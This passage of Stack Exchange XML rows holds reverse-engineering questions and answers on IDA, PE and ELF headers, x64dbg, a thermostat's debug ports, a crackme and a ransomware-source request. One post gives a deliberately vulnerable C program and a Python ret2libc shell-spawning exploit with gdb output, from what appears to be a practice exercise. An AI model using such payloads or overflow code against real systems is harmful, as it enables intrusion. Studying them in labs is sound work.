  <row Id="25860" PostTypeId="2" ParentId="25848" CreationDate="2020-09-11T14:15:02.473" Score="1" Body="&lt;p&gt;You can generate graphs in the DOT format by calling &lt;code&gt;gen_flow_graph()&lt;/code&gt; with the &lt;code&gt;CHART_GEN_DOT&lt;/code&gt; flag.&lt;/p&gt;&#xA;&lt;p&gt;The DOT file can then be imported into networkx using the &lt;code&gt;from_pydot()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-09-11T14:15:02.473" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25861" PostTypeId="1" CreationDate="2020-09-12T05:11:30.300" Score="2" ViewCount="203" Body="&lt;p&gt;I got a Greenlite AIRZ thermostat which connects to my home wifi so that I can change the settings remotely on my phone. The Android app is, however, difficult to use, so I'm thinking about making my own. I found its IP address, put it in a browser, and it said verbatim &lt;code&gt;File / not_found&lt;/code&gt;. The thermostat also rejects my request to connect to port 21/22. How should I proceed from here? Is the underscore between &lt;code&gt;not&lt;/code&gt; and &lt;code&gt;found&lt;/code&gt; a quirk of a specific server that would allow me to probe further?&lt;/p&gt;&#xA;" OwnerDisplayName="arax" LastEditorUserId="13506" LastEditDate="2021-04-01T15:00:32.707" LastActivityDate="2021-04-01T15:00:32.707" Title="How to probe my smart thermostat for reprogramming?" Tags="|smart-devices|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25862" PostTypeId="1" AcceptedAnswerId="25878" CreationDate="2020-09-12T11:49:47.183" Score="0" ViewCount="1058" Body="&lt;p&gt;how can I decompile a binary file using IDA? I tried opening it and it said it cannot find the entry point automatically and I don't know where to find it,&lt;/p&gt;&#xA;" OwnerUserId="34379" LastActivityDate="2020-09-14T02:12:47.900" Title="IDA decompile binary file" Tags="|ida|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25863" PostTypeId="1" AcceptedAnswerId="25876" CreationDate="2020-09-12T20:00:58.130" Score="-1" ViewCount="151" Body="&lt;p&gt;I am wondering if decompilation would be easier for an ISA with fewer instructions. For example, RISC-V vs x86.&lt;/p&gt;&#xA;" OwnerUserId="32807" LastEditorUserId="32807" LastEditDate="2020-09-13T00:22:55.870" LastActivityDate="2020-09-13T21:18:35.510" Title="Is decompilation easier or generally more accurate for smaller ISAs?" Tags="|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25866" PostTypeId="1" CreationDate="2020-09-13T02:36:56.553" Score="0" ViewCount="746" Body="&lt;p&gt;I am solving Memory Corruption CTF (msp430 assembly)&lt;/p&gt;&#xA;&lt;p&gt;How can I put the value 0x3c4f inside address 0x439c (r15 from Register state)? When cmp instruction executes, we want the value at memory address 0x439c to be equal to 0x3c4f.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YGzmz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YGzmz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;One thing to note is cmp instruction will compare 2 bytes&lt;/p&gt;&#xA;&lt;p&gt;.W : The suffix .W or &lt;strong&gt;no suffix&lt;/strong&gt; at the&#xA;instruction memonic will result in&#xA;a word operation&lt;/p&gt;&#xA;&lt;p&gt;I appreciate your help!&lt;/p&gt;&#xA;&lt;p&gt;Should I put 3 in 0x439c, c in 0x439d, 4 in 0x439e and f in 0x439f?&lt;/p&gt;&#xA;" OwnerUserId="34315" LastEditorUserId="34315" LastEditDate="2020-10-31T00:05:23.883" LastActivityDate="2020-10-31T00:05:23.883" Title="How to change value at a memory address?" Tags="|assembly|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25869" PostTypeId="2" ParentId="25861" CreationDate="2020-09-13T05:36:44.947" Score="0" Body="&lt;p&gt;You have to debug its hardware.&lt;/p&gt;&#xA;&lt;p&gt;Search for its serial port.&#xA;Look into UART.&#xA;&lt;a href=&quot;https://www.societyofrobots.com/microcontroller_uart.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.societyofrobots.com/microcontroller_uart.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You have to do a boundary scan, and figure out its hardware boundries. You can do that through JTAG&#xA;&lt;a href=&quot;https://www.jtag.com/boundary-scan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jtag.com/boundary-scan/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17001" LastActivityDate="2020-09-13T05:36:44.947" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25871" PostTypeId="1" CreationDate="2020-09-13T08:04:52.100" Score="0" ViewCount="100" Body="&lt;p&gt;i have some code in c i am working to write exploit for it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;    &#xA;void secretFunction()&#xA;{&#xA;            printf(&amp;quot;Congratulations!\n&amp;quot;);&#xA;            printf(&amp;quot;You have entered in the secret function!\n&amp;quot;);&#xA;}&#xA;&#xA;void echo()&#xA;{&#xA;            char buffer[20];&#xA;            printf(&amp;quot;Enter some text:\n&amp;quot;);&#xA;            scanf(&amp;quot;%s&amp;quot;, buffer);&#xA;            printf(&amp;quot;You entered: %s\n&amp;quot;, buffer);&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;            echo();&#xA;            return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and i wrote the exploit script in python:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/env python&#xA;import struct&#xA;system_addr = struct.pack(&amp;quot;&amp;lt;I&amp;quot;, 0xb7e1d200)&#xA;shell_addr = struct.pack(&amp;quot;&amp;lt;I&amp;quot;, 0xb7f5e0cf)&#xA;exit_addr = struct.pack(&amp;quot;&amp;lt;I&amp;quot;, 0xb7deeaac)&#xA;buf = &amp;quot;A&amp;quot; * 32&#xA;buf += system_addr&#xA;buf += exit_addr&#xA;buf += shell_addr&#xA;print buf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in gdb:&#xA;gdb-peda$ r &amp;lt;&amp;lt;&amp;lt; $(python exploit_scanf.py)&lt;/p&gt;&#xA;&lt;p&gt;it gave me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[----------------------------------registers-----------------------------------]&#xA;EAX: 0x38 ('8')&#xA;EBX: 0x42424242 ('BBBB')&#xA;ECX: 0x0&#xA;EDX: 0xb7fb9890 --&amp;gt; 0x0&#xA;ESI: 0xb7fb8000 --&amp;gt; 0x1d7d6c&#xA;EDI: 0x0&#xA;EBP: 0xd2424242&#xA;ESP: 0xbffff470 --&amp;gt; 0xe0cfb7de&#xA;EIP: 0xeaacb7e1&#xA;EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)&#xA;[-------------------------------------code-------------------------------------]&#xA;Invalid $PC address: 0xeaacb7e1&#xA;[------------------------------------stack-------------------------------------]&#xA;0000| 0xbffff470 --&amp;gt; 0xe0cfb7de&#xA;0004| 0xbffff474 --&amp;gt; 0xbf00b7f5&#xA;0008| 0xbffff478 --&amp;gt; 0x0&#xA;0012| 0xbffff47c --&amp;gt; 0xb7df8e81 (&amp;lt;__libc_start_main+241&amp;gt;:       add    esp,0x10)&#xA;0016| 0xbffff480 --&amp;gt; 0xb7fb8000 --&amp;gt; 0x1d7d6c&#xA;0020| 0xbffff484 --&amp;gt; 0xb7fb8000 --&amp;gt; 0x1d7d6c&#xA;0024| 0xbffff488 --&amp;gt; 0x0&#xA;0028| 0xbffff48c --&amp;gt; 0xb7df8e81 (&amp;lt;__libc_start_main+241&amp;gt;:       add    esp,0x10)&#xA;[------------------------------------------------------------------------------]&#xA;Legend: code, data, rodata, value&#xA;Stopped reason: SIGSEGV&#xA;0xeaacb7e1 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and sometimes it gave me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/bin/bash: warning: command substitution: ignored null byte in input&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and no redirect to shell , what is the issue with ret2libc exploit?&lt;/p&gt;&#xA;" OwnerUserId="29343" LastEditorUserId="29343" LastEditDate="2020-09-13T13:56:56.647" LastActivityDate="2020-09-13T13:56:56.647" Title="ret2libc exploit issue" Tags="|gdb|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25872" PostTypeId="1" CreationDate="2020-09-13T09:19:24.530" Score="1" ViewCount="4696" Body="&lt;p&gt;I have a binary file and in the optional header I have the address of the entry point &lt;code&gt;0x00011046&lt;/code&gt; but when I put the file inside HEX editor this address doesn't exist, more than that &lt;code&gt;0x000097f0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I suppose that this is kind of RVA but I don't know how can I find the real address.&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dJoez.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dJoez.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br /&gt;&#xA;I have the section headers:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oGnuZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oGnuZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am not sure but the &lt;code&gt;.textbss&lt;/code&gt; is &lt;code&gt;0x10000&lt;/code&gt;, I tried to do &lt;code&gt;0x11000 - 0x11046 = 0x1046&lt;/code&gt; and search for this in the file but it doesn't look like the entry point.&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-10-13T13:41:52.780" Title="How to find the file address of AddressOfEntryPoint" Tags="|binary-analysis|pe|entry-point|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25873" PostTypeId="2" ParentId="25872" CreationDate="2020-09-13T09:31:44.890" Score="1" Body="&lt;p&gt;In PE file, &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; is a relative address to the image base, so you will have &lt;code&gt;0x11046 - 0x10000 = 0x1046&lt;/code&gt; value in Optional Header. For more information, see &lt;a href=&quot;https://www.aldeid.com/wiki/PE-Portable-executable&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE format&lt;/a&gt; and search for &amp;quot;AddressOfEntryPoint&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;The reason you see &lt;code&gt;0x00011046&lt;/code&gt; being displayed as the entry point (in CFF Explorer I suppose) is that when the file is loaded into memory, this will be the EP address in a process virtual memory - not the offset within PE file itself. The same will hold if you load the file into IDA or radare2, for example - EP will be displayed at &lt;code&gt;0x00011046&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; another quick way to find the place where EP value is stored, other than searching for &lt;code&gt;0x1046&lt;/code&gt; in hex editor is just reading the &lt;em&gt;Offset&lt;/em&gt; column value displayed - in this case it equals &lt;code&gt;0x120&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In general, you would have to read the value at offset &lt;code&gt;0x3C&lt;/code&gt; (&lt;code&gt;IMAGE_DOS_HEADER.e_lfanew&lt;/code&gt;) and add &lt;code&gt;0x28&lt;/code&gt; to it (&lt;code&gt;AddressOfEntryPoint&lt;/code&gt; offset relative to PE header).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2020-09-13T09:47:00.927" LastActivityDate="2020-09-13T09:47:00.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25875" PostTypeId="2" ParentId="25861" CreationDate="2020-09-13T20:59:23.867" Score="1" Body="&lt;p&gt;The best approach here would be to look at the App, that way you know exactly what to send (especially when they add some encryption or signing). The second best option would be to look at the network traffic and hope that it's easy to figure out how it works from that. If that also doesn't work the last option in my opinion would be to attack the device itself: As mentioned in other responses you are looking for UART, JTAG or other debug ports. Also you can look for SPI Flashes, NAND Flashes, eMMC Memory and read those out then. But this is the most difficult method which should only be followed when the other methods don't work or you have a good reason to do so (to discover &amp;quot;secret&amp;quot; functionality for example).&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-09-13T20:59:23.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25876" PostTypeId="2" ParentId="25863" CreationDate="2020-09-13T21:18:35.510" Score="2" Body="&lt;p&gt;That depends entirely on your approach, if you do it all manually there are fewer instructions to remember, if there is a decompiler that does/tries it automatically it's obviously easier to implement with less instructions but once you want to go beyond purely translating the asm to c code that somehow works and want to make it readable a complex instruction set which would have asm instructions that match the c/c++ instructions are easier to translate and more readable.&lt;/p&gt;&#xA;&lt;p&gt;If you look at the MOVfuscator, which is a compiler that (almost) only uses MOV-Instructions, then you will notice how unreadable and hard to decompile that actually is, and that's the fewest instructions you'll get.&lt;/p&gt;&#xA;&lt;p&gt;When you look at how often those special instructions in x86 are actually used you'll notice that it's not as often as you'd might think, so just because you have a huge instruction set that doesn't mean all instructions are used or it wouldn't run on a reduced instruction set aswell.&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-09-13T21:18:35.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25878" PostTypeId="2" ParentId="25862" CreationDate="2020-09-14T02:12:47.900" Score="1" Body="&lt;p&gt;You mentioned that you want to analyze an ex5 file which is a MetaTrader5 file. That is not what IDA is for, that file is not an executable most likely. If the format isn't documented you can analyze the Application itself to figure out how it's made up, but most likely it's easier to just do it again.&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-09-14T02:12:47.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25879" PostTypeId="1" AcceptedAnswerId="25883" CreationDate="2020-09-14T04:24:32.033" Score="0" ViewCount="519" Body="&lt;p&gt;To get a basic understanding of the &lt;a href=&quot;https://refspecs.linuxfoundation.org/elf/elf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF format&lt;/a&gt;, I'm writing a basic program to generate a valid elf file from the most basic assembly output. I'm going step-by-step so I'll probably ask a few questions here as I make my way through it. I've generated the first 16-bytes of the header and verified that it's the same from a gcc-compiled program on my machine (nothing special, since those first 16-bytes are almost always the same). Here is what I have so far (using python):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# https://refspecs.linuxfoundation.org/elf/elf.pdf&#xA;b = bytearray()&#xA;&#xA;# (1) magic header&#xA;b.append(0x7F) # starting number&#xA;b.extend([ord('E'), ord('L'), ord('F')])&#xA;&#xA;# (2) ei-class ('capacity') -- 1 for 32-bit, 2 for 64-bit&#xA;# uname -m # x86_64&#xA;BITS_32 = 1&#xA;BITS_64 = 2&#xA;b.append(BITS_64)&#xA;&#xA;# (3) ei-data ('data-encoding') -- 1 for little-endian (standard), 2 for big-endian&#xA;LITTLE_ENDIAN = 1&#xA;BIG_ENDIAN    = 2&#xA;b.append(LITTLE_ENDIAN)&#xA;&#xA;# (4) ei-version -- always will be 1 -- &#xA;EV_CURRENT = 1&#xA;b.append(EV_CURRENT)&#xA;&#xA;# (5) ei-pad -- padding --&amp;gt; pad 0's up to 16 bytes&#xA;b.extend([0,] * (16-len(b)))&#xA;&#xA;print('%s\nLength: %s' % (b, len(b)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bytearray(b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00')&#xA;Length: 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have a few questions about this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the most common way to get whether a machine is &lt;code&gt;32&lt;/code&gt; or &lt;code&gt;64&lt;/code&gt; bits? Is doing &lt;code&gt;uname -m&lt;/code&gt; or one of the &lt;code&gt;uname&lt;/code&gt; variants the suggested way?&lt;/li&gt;&#xA;&lt;li&gt;How do you determine if the machine is little- or big-endian?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34390" LastActivityDate="2020-09-15T16:04:16.383" Title="Generating an elf header" Tags="|elf|executable|binary-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25880" PostTypeId="2" ParentId="9303" CreationDate="2020-09-14T04:37:39.533" Score="0" Body="&lt;p&gt;This had me confounded for a bit... If this is documented, I'm unsure where. By guessing the following seems to work.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(type)reference&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Example: &lt;code&gt;(int[14])0xDEADBEEF&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This would give you a representation of an integer array 14 deep at address 0xDEADBEEF independent without having to actually set 0xDEADBEEF to an integer array 14 deep.&lt;/p&gt;&#xA;&lt;p&gt;This seems to work for structures and such as well: &lt;code&gt;(foo[2])0xBEEF&lt;/code&gt; would give you an array of two 'foo' structures starting at 0xBEEF.&lt;/p&gt;&#xA;&lt;p&gt;This is true as of IDA 7.5.200728 -- I cannot speak to any other version.&lt;/p&gt;&#xA;" OwnerUserId="34391" LastActivityDate="2020-09-14T04:37:39.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25881" PostTypeId="1" AcceptedAnswerId="25884" CreationDate="2020-09-14T10:51:27.557" Score="0" ViewCount="1850" Body="&lt;p&gt;I am working on a packed file with UPX.&lt;br /&gt;&#xA;In one of the lines it calls to the value of the address &lt;code&gt;0xF5222C&lt;/code&gt; which is: &lt;code&gt;0x778057c0&lt;/code&gt;.&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZOJqR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZOJqR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The debugger auto-completes it to &lt;code&gt;kernel32.LoadLibraryA&lt;/code&gt;.&lt;br /&gt;&#xA;Where can I verify that this is the address of the function?&lt;/p&gt;&#xA;&lt;p&gt;I looked at the &amp;quot;Memory Map&amp;quot; tab but all I can see is the address (&lt;code&gt;0x777F000&lt;/code&gt;) of the kernel32.dll module:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7JS2L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7JS2L.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a place I can view the addrresses of all the functions related to a specific module?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br /&gt;&#xA;I tried &lt;code&gt;Search for &amp;gt; All Modules &amp;gt; Intermodlar calls&lt;/code&gt;:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Clq3V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Clq3V.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I searched for &lt;code&gt;LoadLibraryA&lt;/code&gt; (address &lt;code&gt;0x778057c0&lt;/code&gt;) but it doesn't find it:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/df0Ec.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/df0Ec.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-09-14T13:51:29.347" Title="How to view the functions of a loaded library in x64dbg" Tags="|x64dbg|functions|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25882" PostTypeId="1" AcceptedAnswerId="25886" CreationDate="2020-09-14T12:42:18.527" Score="0" ViewCount="80" Body="&lt;p&gt;After analyzing the code, I have been able to understand and recreate the algorithm used to check if the password the binary takes is correct, but don't know how to solve it (or at least can't think of any approach that would be performant enough to finish within feasible time).&lt;/p&gt;&#xA;&lt;p&gt;The first three letters of the expected password can be easily seen in the disassembly, as well as the length of the password being 16 letters.&lt;/p&gt;&#xA;&lt;p&gt;Then it gets a little tricky, as the program enters a loop summing up the ASCII values of different letters of the password into 4 variables, which are afterwards checked against a value each after being taken modulo 100, which have to be met for the password to be regarded as &amp;quot;correct&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;To be more exact, the letters are summed up as follows (indices in the password starting from 1:&#xA;Var1: 1, 3, 4, 6, 7, 11, 12, 14, 15&#xA;Var2: 1, 3, 5, 7, 9, 11, 13, 15&#xA;Var3: 2, 5, 8, 11, 14&#xA;Var4: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15&lt;/p&gt;&#xA;&lt;p&gt;This also tells me, that given I didn't understand the code completely wrong, the last letter of the password is not relevant as well.&lt;/p&gt;&#xA;&lt;p&gt;Anyways, my question would be, if with the information present this problem is even solvable, and if yes, what approach would make sense, as brute-forcing obviously doesn't.&lt;/p&gt;&#xA;" OwnerUserId="34374" LastActivityDate="2020-09-14T15:09:28.910" Title="Password evaluated from the sum of ASCII letters" Tags="|static-analysis|encodings|crackme|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25883" PostTypeId="2" ParentId="25879" CreationDate="2020-09-14T12:57:33.730" Score="1" Body="&lt;p&gt;On Linux machines, the &lt;code&gt;lscpu&lt;/code&gt; command will tell you both the endianness of the CPU and whether it is 32/64 bit.&lt;/p&gt;&#xA;" OwnerUserId="21876" LastActivityDate="2020-09-14T12:57:33.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25884" PostTypeId="2" ParentId="25881" CreationDate="2020-09-14T13:51:29.347" Score="1" Body="&lt;p&gt;You can either press Ctrl+G and type &lt;code&gt;LoadLibraryA&lt;/code&gt; to land at this function address, or if you want to list all the functions from kernel32.dll you can go to the &lt;code&gt;Symbols&lt;/code&gt; tab like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ep7Ri.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ep7Ri.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From there you can view the function address or just double-click &amp;quot;LoadLibraryA&amp;quot; to follow it in disassembler.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-09-14T13:51:29.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25885" PostTypeId="1" AcceptedAnswerId="25947" CreationDate="2020-09-14T14:07:33.027" Score="-1" ViewCount="229" Body="&lt;p&gt;Have been searching ransomware source codes for analysis(as much as possible). I have already checked with sites like Any.Run but most of their samples are .exe and binary files. Does any one have any leads to a place I can get the source codes especially for ransomware?&lt;/p&gt;&#xA;" OwnerUserId="34395" LastActivityDate="2020-09-21T15:44:40.583" Title="Ransomware Source Codes" Tags="|malware|ransomware|" AnswerCount="2" CommentCount="2" ClosedDate="2020-09-21T19:17:40.650" ContentLicense="CC BY-SA 4.0" />
  <row Id="25886" PostTypeId="2" ParentId="25882" CreationDate="2020-09-14T15:09:28.910" Score="0" Body="&lt;p&gt;You may be able to set up a system of equations and try and narrow this down with linear algebra. Because you have more unknowns than knowns, you will not be able to know the original password, but you can still get one the passes the validation routine. You already know some of the letters due to seeing them in the disassembly.&lt;/p&gt;&#xA;&lt;p&gt;As a smaller example, say we know the first letter of a password is &lt;code&gt;G&lt;/code&gt; and the that there are 6 letters. The program then sums up the letters into three variables as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var1 = password[0] + password[1] + password[5]&#xA;var2 = password[0] + password[4]&#xA;var3 = password[0] + password[1] + password[2] + password[3] + password[4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then later we see that it checks:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var1 == 225&#xA;var2 == 160&#xA;var3 == 392&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We can set up a matrix for this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[1 1 0 0 0 1 | 225]&#xA;[1 0 0 0 1 0 | 160]&#xA;[1 1 1 1 1 0 | 392]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using &lt;code&gt;SymPy&lt;/code&gt; or something similar, we can reduce this matrix down:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from sypy import *&#xA;A = Matrix([[1,1,0,0,0,1,225],[1,0,0,0,1,0,160],[1,1,1,1,1,0,392]])&#xA;A.rref()&#xA;&#xA;(Matrix([&#xA;[1, 0, 0, 0,  1,  0, 160],&#xA;[0, 1, 0, 0, -1,  1,  65],&#xA;[0, 0, 1, 1,  1, -1, 167]]), (0, 1, 2))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Our pivots are &lt;code&gt;password[0]&lt;/code&gt;, &lt;code&gt;password[1]&lt;/code&gt; and &lt;code&gt;password[2]&lt;/code&gt;. We already know &lt;code&gt;password[0] == 71&lt;/code&gt;, we will select whatever we want for &lt;code&gt;password[1]&lt;/code&gt; &amp;amp; &lt;code&gt;password[2]&lt;/code&gt; and will try to get everything else in terms of these.&lt;/p&gt;&#xA;&lt;p&gt;Since we know that the first letter is &lt;code&gt;'G'&lt;/code&gt; and has a value of &lt;code&gt;71&lt;/code&gt;, the first equation is &lt;code&gt;72 + password[4] = 160&lt;/code&gt;. We now know &lt;code&gt;password[4]&lt;/code&gt; is &lt;code&gt;89&lt;/code&gt; or &lt;code&gt;Y&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Knowing this, we can look at our next equation. &lt;code&gt;password[1] - 89 + password[5] = 65.&lt;/code&gt; Rewriting: &lt;code&gt;password[5] = 154 - password[1]&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We can now look at the last equation:&#xA;&lt;code&gt;password[2] + password[3] + 89 - password[5] = 167&lt;/code&gt;&#xA;Rewriting: &lt;code&gt;password[3] = password[5] - password[2] + 78&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Putting it all together:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;password[0] = 'G'&#xA;password[1] = pivot&#xA;password[2] = pivot&#xA;password[3] = password[5] - password[2] + 78&#xA;password[4] = 'Y'&#xA;password[5] = 154 - password[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now we just assign whatever we want for &lt;code&gt;password[1]&lt;/code&gt; and &lt;code&gt;password[2]&lt;/code&gt; and we will get a valid password.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;password[1] = 'A'&#xA;password[2] = 'A'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Find password[5]&#xA;chr(154 - ord('A'))&#xA;'Y'&#xA;&#xA;# Find password[3]&#xA;chr(ord('Y') - ord('A') + 78)&#xA;'f'&#xA;&#xA;# Validate password&#xA;password = &amp;quot;GAAfYY&amp;quot;&#xA;var1 = ord(password[0]) + ord(password[1]) + ord(password[5])&#xA;var2 = ord(password[0]) + ord(password[4])&#xA;var3 = ord(password[0]) + ord(password[1]) + ord(password[2]) + + ord(password[3]) + ord(password[4])&#xA;&#xA;(var1 == 225) and (var2 == 160) and (var3 == 392)&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It will be harder for your specific one because you the numbers are being taken &lt;code&gt;% 100&lt;/code&gt;, but you know how many characters there are and what value range ASCII falls in so it shouldn't be too hard to set a limited range for the possible values.&lt;/p&gt;&#xA;" OwnerUserId="21876" LastActivityDate="2020-09-14T15:09:28.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25887" PostTypeId="1" CreationDate="2020-09-14T15:16:32.210" Score="-1" ViewCount="213" Body="&lt;p&gt;I have literally no idea how to start to decode this kind of a file, but I really want these fonts and a decoder would be huge for the community, so any help would be great. Linked below is a google drive folder with the launcher and game exe files and the archive. Are there apps that help with the process of decoding?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/drive/folders/1jQa36d3wCQyAdjLwjfCSMYeyQrwqADer?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/drive/folders/1jQa36d3wCQyAdjLwjfCSMYeyQrwqADer?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34396" LastActivityDate="2020-09-15T14:30:41.610" Title="How would I start to decode this? Asking for help from a friend (Alien Hominid Invasion)" Tags="|disassembly|decompilation|file-format|game-hacking|exe|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
